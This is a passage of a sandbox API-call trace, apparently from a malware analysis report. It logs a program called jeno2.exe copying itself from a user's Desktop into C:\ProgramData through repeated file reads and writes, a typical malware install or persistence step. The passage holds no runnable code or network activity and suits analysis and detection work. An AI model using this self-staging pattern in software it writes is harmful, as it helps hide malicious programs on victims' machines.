(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned 47 [0055.539] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x147af90 [0055.539] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x30) returned 0x14774b0 [0055.539] lstrcpyA (in: lpString1=0x147af90, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" [0055.540] RtlAllocateHeap (HeapHandle=0x1460000, Flags=0x0, Size=0x6) returned 0x147b7c8 [0055.540] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x14774b0 | out: hHeap=0x1460000) returned 1 [0055.540] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147af90 | out: hHeap=0x1460000) returned 1 [0055.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0055.540] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x147b7c8, cbMultiByte=-1, lpWideCharStr=0x14fcb9c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0055.540] HeapFree (in: hHeap=0x1460000, dwFlags=0x0, lpMem=0x147b7c8 | out: hHeap=0x1460000) returned 1 [0055.540] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0055.540] VarCat (in: pvarLeft=0x18fcd0, pvarRight=0x18fcc0, pvarResult=0x18fcb0 | out: pvarResult=0x18fcb0) returned 0x0 [0055.540] VarCat (in: pvarLeft=0x18fcb0, pvarRight=0x18fc20, pvarResult=0x18fca0 | out: pvarResult=0x18fca0) returned 0x0 [0055.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\jeno2.exe", cchWideChar=-1, lpMultiByteStr=0x18f68c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\jeno2.exe", lpUsedDefaultChar=0x0) returned 25 [0055.541] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\jeno2.exe", nBufferLength=0x104, lpBuffer=0x18f8cc, lpFilePart=0x18f684 | out: lpBuffer="C:\\ProgramData\\jeno2.exe", lpFilePart=0x18f684*="jeno2.exe") returned 0x18 [0055.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", cchWideChar=-1, lpMultiByteStr=0x18f68c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", lpUsedDefaultChar=0x0) returned 48 [0055.541] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", nBufferLength=0x104, lpBuffer=0x18f7c4, lpFilePart=0x18f684 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe", lpFilePart=0x18f684*="jeno2.exe") returned 0x2f [0055.541] IMalloc:Alloc (This=0x767666bc, cb=0xfe00) returned 0x1521588 [0055.542] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jeno2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jeno2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x18f784, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0055.542] GetFileType (hFile=0x178) returned 0x1 [0055.542] CreateFileA (lpFileName="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f784, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0055.546] GetFileType (hFile=0x174) returned 0x1 [0055.546] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.549] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.552] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.552] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.554] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.554] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.556] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.557] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.558] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.559] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.562] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.562] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.564] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.564] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.566] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.566] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.568] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.569] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.571] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.572] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.573] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.574] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.575] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.576] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.577] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.579] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.581] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.582] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.583] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.583] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.585] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.585] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.587] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.599] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.605] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.605] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.607] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.608] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.609] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.610] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.611] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.613] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.615] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.616] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.617] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.618] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.619] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.620] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.621] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.622] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.625] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.625] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.627] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.627] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.629] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.630] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.631] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.633] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.635] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.636] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.637] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.638] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.642] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.643] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.644] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.656] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.662] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.662] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.664] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.664] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.666] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.666] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.668] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.669] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.681] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.681] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.683] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.683] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.685] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.686] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.687] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.689] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.691] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.691] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.693] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesRead=0x18f778*=0xfe00, lpOverlapped=0x0) returned 1 [0055.693] WriteFile (in: hFile=0x174, lpBuffer=0x1521588*, nNumberOfBytesToWrite=0xfe00, lpNumberOfBytesWritten=0x18f370, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, lpNumberOfBytesWritten=0x18f370*=0xfe00, lpOverlapped=0x0) returned 1 [0055.695] ReadFile (in: hFile=0x178, lpBuffer=0x1521588, nNumberOfBytesToRead=0xfe00, lpNumberOfBytesRead=0x18f778, lpOverlapped=0x0 | out: lpBuffer=0x1521588*, 